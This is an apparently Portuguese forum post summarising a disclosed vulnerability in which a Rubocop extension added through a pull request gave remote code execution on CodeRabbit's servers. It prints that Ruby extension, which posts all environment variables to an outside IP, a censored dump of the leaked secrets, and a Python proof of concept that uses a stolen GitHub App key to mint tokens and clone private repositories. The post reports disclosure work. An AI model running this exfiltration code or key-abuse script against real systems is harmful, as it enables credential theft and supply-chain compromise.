Executando verificação de segurança...
18

De um simples PR ao acesso de escrita em 1 milhão de repositórios

O pesquisador Nils Amiet conseguiu acesso de escrita a um milhão de repositórios, e também conseguiu executar código remotamente (remote code execution, RCE) no sistema de produção da ferramenta explorada, tudo isso com um simples PR e uma Action do GitHub: CodeRabbit.

O CodeRabbit revisa seus PRs usando LLMs, e lendo o meu parágrafo anterior, não tem como não pensar que usar LLMs parece um pesadelo em questões de segurança, certo?

Se já vemos vazamentos com frequência onde o problema é a configuração inadequada do Firebase ou de buckets da AWS, usar uma LLM no estilo "vibecode" abre margem para ainda mais falhas.

Se você é mais precavido e não topa um vibecode, pode ser que esteja disposto a experimentar usar a LLM como um agente, trabalhando em conjunto e revisando os resultados, e aí vai se deparar com o YOLO mode (--dangerously-skip-permissions), ou até mesmo algo mais "hardcore", juntando yolo mode com sudo.

Se tem alguma integração com LLM, ainda precisa tomar cuidado com prompt injection. Se conversa pelo chat, precisa tomar cuidado com as imagens que envia, ou mesmo os sites que a LLM visita, porque pode sofrer com injeção de prompt indireta.

Outro uso popular de LLMs é para revisar código no repositório. Vamos supor que você usa uma action no GitHub apenas para revisar o seu código, sem executar nada, e o repositório é privado, então tem zero chances de alguém fazer uma injeção de prompt maluca. Assim estamos seguros, certo?

Bom, como o Nils Amiet mostrou em um artigo da Kudelski Security, a resposta é não.

Obtendo acesso de leitura e escrita a 1 milhão de repositórios

O Nils Amiet explica de forma bem detalhada no artigo como conseguiu explorar uma vulnerabilidade grave com o CodeRabbit. Esse problema não era exclusivo do CodeRabbit, que corrigiu e publicou uma resposta, mas o autor do artigo disse:

Outros fornecedores que contatamos nunca responderam, e seus produtos ainda estão vulneráveis.

Essa vulnerabilidade foi encontrada em janeiro, e o artigo publicado em agosto.

Então, se você usa alguma ferramenta parecida com o CodeRabbit, recomendo entender bem como a vulnerabilidade foi encontrada e verificar as integrações que você utiliza.

Apesar da gravidade, a vulnerabilidade foi explicada de uma forma bem simples, até mesmo sobre como ela foi descoberta, então vou resumir aqui, e se você quiser saber mais detalhes, veja o artigo original.

Passo a passo

  1. Criar um cadastro no CodeRabbit.
  2. Instalar num repositório privado.

Instalação do Code Rabbit

  1. Analisar as possibilidades: o CodeRabbit suporta ferramentas de análise estática, e cada ferramenta pode ser configurada fornecendo um caminho para um arquivo de configuração lido pela ferramenta. Como o CodeRabbit executa essas ferramentas externas, se alguma delas ter uma maneira de injetar código, significa que é possível executar código arbitrário.
  2. Escolher um alvo: no caso do artigo, a ferramenta escolhida foi Rubocop, que suporta extensões. Isso significa que é possível especificar o caminho para um arquivo de extensão Ruby que será carregado e executado pelo Rubocop (a injeção de código mencionada acima).
  3. Testar a execução: para executar a ferramenta, você pode abrir um PR no seu repositório privado que o CodeRabbit tem acesso, adicionar o arquivo de configuração do Rubocop, o arquivo de extensão com código a ser executado, e outro arquivo Ruby grande o suficiente para disparar o gatilho do CodeRabbit para ser analisado. Abaixo, um exemplo de arquivo de extensão a ser executado pelo Rubocop.
require 'net/http'
require 'uri'
require 'json'
 
# Collect environment variables
env_vars = ENV.to_h
 
# Convert environment variables to JSON format
json_data = env_vars.to_json
 
# Define the URL to send the HTTP POST request
url = URI.parse('http://1.2.3.4/')
 
begin
  # Create the HTTP POST request
  http = Net::HTTP.new(url.host, url.port)
  request = Net::HTTP::Post.new(url.path)
  request['Content-Type'] = 'application/json'
  request.body = json_data
 
  # Send the request
  response = http.request(request)
rescue StandardError => e
  puts "An error occurred: #{e.message}"
end
  1. Avaliar os resultados: se tudo deu certo, o servidor indicado (1.2.3.4) receberá todas as variáveis de ambiente:
{
  "ANTHROPIC_API_KEYS": "sk-ant-api03-(CENSORED)",
  "ANTHROPIC_API_KEYS_FREE": "sk-ant-api03-(CENSORED)",
  "ANTHROPIC_API_KEYS_OSS": "sk-ant-api03-(CENSORED)",
  "ANTHROPIC_API_KEYS_PAID": "sk-ant-api03-(CENSORED)",
  "ANTHROPIC_API_KEYS_TRIAL": "sk-ant-api03-(CENSORED)",
  "APERTURE_AGENT_ADDRESS": "(CENSORED)",
  "APERTURE_AGENT_KEY": "(CENSORED)",
  "AST_GREP_ESSENTIALS": "ast-grep-essentials",
  "AST_GREP_RULES_PATH": "/home/jailuser/ast-grep-rules",
  "AWS_ACCESS_KEY_ID": "",
  "AWS_REGION": "",
  "AWS_SECRET_ACCESS_KEY": "",
  "AZURE_GPT4OMINI_DEPLOYMENT_NAME": "",
  "AZURE_GPT4O_DEPLOYMENT_NAME": "",
  "AZURE_GPT4TURBO_DEPLOYMENT_NAME": "",
  "AZURE_O1MINI_DEPLOYMENT_NAME": "",
  "AZURE_O1_DEPLOYMENT_NAME": "",
  "AZURE_OPENAI_API_KEY": "",
  "AZURE_OPENAI_ENDPOINT": "",
  "AZURE_OPENAI_ORG_ID": "",
  "AZURE_OPENAI_PROJECT_ID": "",
  "BITBUCKET_SERVER_BOT_TOKEN": "",
  "BITBUCKET_SERVER_BOT_USERNAME": "",
  "BITBUCKET_SERVER_URL": "",
  "BITBUCKET_SERVER_WEBHOOK_SECRET": "",
  "BUNDLER_ORIG_BUNDLER_VERSION": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_BUNDLE_BIN_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_BUNDLE_GEMFILE": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_GEM_HOME": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_GEM_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_MANPATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "BUNDLER_ORIG_RB_USER_INSTALL": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_RUBYLIB": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_RUBYOPT": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "CI": "true",
  "CLOUD_API_URL": "https://(CENSORED)",
  "CLOUD_RUN_TIMEOUT_SECONDS": "3600",
  "CODEBASE_VERIFICATION": "true",
  "CODERABBIT_API_KEY": "",
  "CODERABBIT_API_URL": "https://(CENSORED)",
  "COURIER_NOTIFICATION_AUTH_TOKEN": "(CENSORED)",
  "COURIER_NOTIFICATION_ID": "(CENSORED)",
  "DB_API_URL": " https://(CENSORED)",
  "ENABLE_APERTURE": "true",
  "ENABLE_DOCSTRINGS": "true",
  "ENABLE_EVAL": "false",
  "ENABLE_LEARNINGS": "",
  "ENABLE_METRICS": "",
  "ENCRYPTION_PASSWORD": "(CENSORED)",
  "ENCRYPTION_SALT": "(CENSORED)",
  "FIREBASE_DB_ID": "",
  "FREE_UPGRADE_UNTIL": "2025-01-15",
  "GH_WEBHOOK_SECRET": "(CENSORED)",
  "GITHUB_APP_CLIENT_ID": "(CENSORED)",
  "GITHUB_APP_CLIENT_SECRET": "(CENSORED)",
  "GITHUB_APP_ID": "(CENSORED)",
  "GITHUB_APP_NAME": "coderabbitai",
  "GITHUB_APP_PEM_FILE": "-----BEGIN RSA PRIVATE KEY-----\n(CENSORED)-\n-----END RSA PRIVATE KEY-----\n",
  "GITHUB_CONCURRENCY": "8",
  "GITHUB_ENV": "",
  "GITHUB_EVENT_NAME": "",
  "GITHUB_TOKEN": "",
  "GITLAB_BOT_TOKEN": "(CENSORED)",
  "GITLAB_CONCURRENCY": "8",
  "GITLAB_WEBHOOK_SECRET": "",
  "HOME": "/root",
  "ISSUE_PROCESSING_BATCH_SIZE": "30",
  "ISSUE_PROCESSING_START_DATE": "2023-06-01",
  "JAILUSER": "jailuser",
  "JAILUSER_HOME_PATH": "/home/jailuser",
  "JIRA_APP_ID": "(CENSORED)",
  "JIRA_APP_SECRET": "(CENSORED)",
  "JIRA_CLIENT_ID": "(CENSORED)",
  "JIRA_DEV_CLIENT_ID": "(CENSORED)",
  "JIRA_DEV_SECRET": "(CENSORED)",
  "JIRA_HOST": "",
  "JIRA_PAT": "",
  "JIRA_SECRET": "(CENSORED)",
  "JIRA_TOKEN_URL": "https://auth.atlassian.com/oauth/token",
  "K_CONFIGURATION": "pr-reviewer-saas",
  "K_REVISION": "pr-reviewer-saas-(CENSORED)",
  "K_SERVICE": "pr-reviewer-saas",
  "LANGCHAIN_API_KEY": "(CENSORED)",
  "LANGCHAIN_PROJECT": "default",
  "LANGCHAIN_TRACING_SAMPLING_RATE_CR": "50",
  "LANGCHAIN_TRACING_V2": "true",
  "LANGUAGETOOL_API_KEY": "(CENSORED)",
  "LANGUAGETOOL_USERNAME": "(CENSORED)",
  "LD_LIBRARY_PATH": "/usr/local/lib:/usr/lib:/lib:/usr/libexec/swift/5.10.1/usr/lib",
  "LINEAR_PAT": "",
  "LLM_PROVIDER": "",
  "LLM_TIMEOUT": "300000",
  "LOCAL": "false",
  "NODE_ENV": "production",
  "NODE_VERSION": "22.9.0",
  "NPM_CONFIG_REGISTRY": "http://(CENSORED)",
  "OAUTH2_CLIENT_ID": "",
  "OAUTH2_CLIENT_SECRET": "",
  "OAUTH2_ENDPOINT": "",
  "OPENAI_API_KEYS": "sk-proj-(CENSORED)",
  "OPENAI_API_KEYS_FREE": "sk-proj-(CENSORED)",
  "OPENAI_API_KEYS_OSS": "sk-proj-(CENSORED)",
  "OPENAI_API_KEYS_PAID": "sk-proj-(CENSORED)",
  "OPENAI_API_KEYS_TRIAL": "sk-proj-(CENSORED)",
  "OPENAI_BASE_URL": "",
  "OPENAI_ORG_ID": "",
  "OPENAI_PROJECT_ID": "",
  "PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "PINECONE_API_KEY": "(CENSORED)",
  "PINECONE_ENVIRONMENT": "us-central1-gcp",
  "PNPM_HOME": "/pnpm",
  "PORT": "8080",
  "POSTGRESQL_DATABASE": "(CENSORED)",
  "POSTGRESQL_HOST": "(CENSORED)",
  "POSTGRESQL_PASSWORD": "(CENSORED)",
  "POSTGRESQL_USER": "(CENSORED)",
  "PWD": "/inmem/21/d277c149-9d6a-4dde-88cc-03f724b50e2d/home/jailuser/git",
  "REVIEW_EVERYTHING": "false",
  "ROOT_COLLECTION": "",
  "SELF_HOSTED": "",
  "SELF_HOSTED_KNOWLEDGE_BASE": "",
  "SELF_HOSTED_KNOWLEDGE_BASE_BRANCH": "",
  "SENTRY_DSN": "https://(CENSORED)",
  "SERVICE_NAME": "pr-reviewer-saas",
  "SHLVL": "0",
  "TELEMETRY_COLLECTOR_URL": "https://(CENSORED)",
  "TEMP_PATH": "/inmem",
  "TINI_VERSION": "v0.19.0",
  "TRPC_API_BASE_URL": "https://(CENSORED)",
  "VECTOR_COLLECTION": "",
  "YARN_VERSION": "1.22.22",
  "_": "/usr/local/bin/rubocop"
}

Dessa forma, foi possível obter os segredos de várias ferramentas diferentes: Anthropic, OpenAI, App da CodeRabbit do GitHub, PostgreSQL etc.

Além disso, como foi possível executar código remotamente no servidor, seria possível se conectar ao servidor de banco de dados Postgres na rede interna, realizar operações destrutivas, provavelmente obter o código-fonte do próprio CodeRabbit etc.

Mas, mesmo sem se aprofundar nessa parte da vulnerabilidade para não ter o risco de interromper o serviço do CodeRabbit, o autor decidiu explorar o aplicativo do CodeRabbit do GitHub. Graças à variável de ambiente GITHUB_APP_PEM_FILE, que continha a chave privada do aplicativo, foi possível se passar por ele. Como os usuários já haviam concedido permissão de escrita aos seus repositórios no momento da instalação do CodeRabbit, o autor tinha as mesmas permissões com o token, obtendo acesso de escrita aos 1 milhão de repositórios.

É possível verificar as permissões de um aplicativo pela API do GitHub, exemplo do CodeRabbit abaixo:

"permissions": {
  "actions": "read",
  "checks": "read",
  "contents": "write",
  "discussions": "read",
  "issues": "write",
  "members": "read",
  "metadata": "read",
  "pull_requests": "write",
  "statuses": "write"
}

Com a chave privada do aplicativo, é possível gerar tokens de acesso (que duram até 10 minutos), e com esse token, clonar até mesmo repositórios privados.

Portanto, uma pessoa mal-intencionada poderia explorar a vulnerabilidade para vazar a chave privada do aplicativo GitHub do CodeRabbit, listar todas as instalações, listar cada repositório, gerar um token de acesso para cada repositório e clonar repositórios privados, distribuir malware de repositórios públicos ou manipular o histórico do Git de um repositório. Isso poderia ser usado para realizar movimentação lateral e potencialmente vazar segredos do repositório GitHub por meio de actions do GitHub, caso o repositório alvo contenha actions vulneráveis.

Uma prova de conceito com a biblioteca PyGitHub:

#!/usr/bin/env python3  
import json  
import time  
 
import jwt  
import requests  
from github import Auth, GithubIntegration  
 
with open("priv.pem", "r") as f:  
    signing_key = f.read()  
 
app_id = "TODO_insert_app_id_here" 
client_id = "Iv1.TODO_insert_client_id_here" 
 
 
def gen_jwt():  
    payload = {  
        # Issued at time  
        'iat': int(time.time() - 60),  
        # JWT expiration time (10 minutes maximum)  
        'exp': int(time.time()) + 600 - 60,  
        # GitHub App's client ID  
        'iss': client_id  
    }  
 
    # Create JWT  
    encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")  
    return encoded_jwt  
 
 
def create_access_token(install_id, jwt):  
    response = requests.post(  
        f"https://api.github.com/app/installations/{install_id}/access_tokens",  
        headers={  
            "Accept": "application/vnd.github+json",  
            "Authorization": f"Bearer {jwt}",  
            "X-GitHub-Api-Version": "2022-11-28",  
        }  
    )  
    j = response.json()  
    access_token = j["token"]  
    return access_token  
 
 
def auth():  
    auth = Auth.AppAuth(app_id, signing_key)  
    gi = GithubIntegration(auth=auth)  
    app = gi.get_app()  
 
    # iterate through app installations, get the first 5  
    for installation in gi.get_installations().reversed[:5]:  
        install_id = installation.id 
 
    # or access an installation by its ID directly  
    installation = gi.get_app_installation(install_id)  
 
    jwt = gen_jwt()  
    create_access_token(install_id, jwt)  
 
    # get all github repositories this installation has access to  
    repos = installation.get_repos()  
    for repo in repos:  
        full_name = repo.full_name  
        stars = repo.stargazers_count  
        html_url = repo.html_url  
        is_private_repo = repo.private  
        clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git" 
        print(clone_url)  
 
        # repo can be cloned with "git clone {clone_url}"  
        # access token is valid for 10 minutes, but a new one can be generated whenever needed  
 
if __name__ == "__main__":  
    auth()

Como a empresa CodeRabbit usa o aplicativo CodeRabbit em seus repositórios, o autor conseguiu acesso a vários repositórios privados do CodeRabbit no GitHub.

Impactos da vulnerabilidade

Conforme o autor diz no artigo:

Uma pessoa mal-intencionada poderia ter realizado as seguintes operações nos repositórios afetados:

  • Acessar repositórios privados do GitHub aos quais ninguém deveria ter acesso. Isso é uma violação de privacidade.
  • Modificar o histórico do Git dos repositórios afetados do GitHub – Observe que isso pode ser um ataque à cadeia de suprimentos (supply chain attack), já que os repositórios do GitHub costumam ser a fonte para a construção de software antes de sua distribuição.
  • Modificar versões (releases) existentes no GitHub e substituir ou adicionar arquivos maliciosos para download – Ataque à cadeia de suprimentos.
  • Mais medidas laterais para potencialmente vazar segredos do repositório do GitHub, explorando actions vulneráveis existentes do GitHub por meio do envio de commits do Git. – Observe que, como o aplicativo GitHub do CodeRabbit não tem permissão de gravação para workflows, as actions do GitHub não podem ser modificadas diretamente. No entanto, uma action vulnerável pode ser explorada mais facilmente com acesso de gravação ao repositório Git. Veja a palestra que dei no 38C3 para mais detalhes sobre como encontramos uma instância em que isso era explorável.

Além disso, obtivemos RCE (remote code execution) no sistema de produção do CodeRabbit. Uma pessoa mal-intencionada poderia ter realizado operações destrutivas, causado uma negação de serviço (DoS) ou realizado operações maliciosas em sistemas de terceiros (veja a lista de segredos vazados acima).

Na dúvida, nada é seguro

Como disse no começo do artigo, existem várias formas de explorar software, com ou sem LLMs envolvidas. O exemplo do CodeRabbit poderia ter ocorrido mesmo sem uma LLM envolvida, pois tem a ver com a exploração de integrações inseguras (o Rubocop não estava sendo executado de forma isolada, num sandbox). Além disso, o Rubocop é só um analisador estático de código, e a LLM conseguiu identificar que o código era malicioso ao avaliar o PR.

Review do CodeRabbit

O ponto é que agora estamos num hype de inteligência artificial, e tem muita gente criando coisa com pressa para não ficar para trás, e muita gente usando coisa com pressa para não ficar para trás. No fim, quem desenvolveu a ferramenta pode não ser tão rigoroso com a segurança, e quem usou como cliente também pode não ter avaliado as potenciais falhas de segurança da ferramenta.

Descobri esse artigo no Hacker News, então se quiser ver mais comentários sobre o assunto, recomendo visitar lá também.

Carregando publicação patrocinada...
1

Bom dia!

Gostaria de saber como anexou imagens no post, por favor
Entendo que não é relacionado com seu post, mas não encontrei formas de escrever um artigo adicionando imagens

Agradeço a compreensão

1